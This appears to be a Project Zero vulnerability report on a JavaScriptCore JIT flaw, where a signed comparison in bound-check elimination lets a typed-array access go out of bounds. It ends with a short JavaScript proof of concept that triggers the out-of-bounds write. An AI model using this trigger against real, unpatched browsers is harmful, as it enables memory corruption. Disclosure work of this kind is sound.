51 lines
No EOL
1.5 KiB
HTML
51 lines
No EOL
1.5 KiB
HTML
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Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1220
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When compiling Javascript code into machine code, bound checks for all accesses to a typed array are also inserted. These bound checks are re-optimized and the unnecessary checks are removed, which is performed by IntegerCheckCombiningPhase::handleBlock.
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For example, when the following JavaScript code is compiled, there are all bound checks for 8, 5, 2, but after the optimization, the checks for 5 and 2 are removed, and the only check for 8 will remain.
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function f() {
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let arr = new Uint32Array(10);
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for (let i = 0; i < 0x100000; i++) {
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parseInt();
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}
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arr[8] = 1;
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arr[5] = 2;
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arr[2] = 3;
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}
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f();
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Note: parseInt is for forcing to start the JIT optimization.
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Here's a snippet IntegerCheckCombiningPhase::handleBlock.
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void handleBlock(BlockIndex blockIndex)
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{
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...
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if (range.m_count) {
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if (data.m_addend > range.m_maxBound) {
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range.m_maxBound = data.m_addend;
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range.m_maxOrigin = node->origin.semantic;
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} else if (data.m_addend < range.m_minBound) {
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range.m_minBound = data.m_addend;
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range.m_minOrigin = node->origin.semantic;
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}
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...
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}
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The problem is that the check |data.m_addend > range.m_maxBound| is a signed comparison.
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PoC:
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-->
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function f() {
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let arr = new Uint32Array(10);
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for (let i = 0; i < 0x100000; i++) {
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parseInt();
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}
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arr[8] = 1;
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arr[-0x12345678] = 2;
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}
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f(); |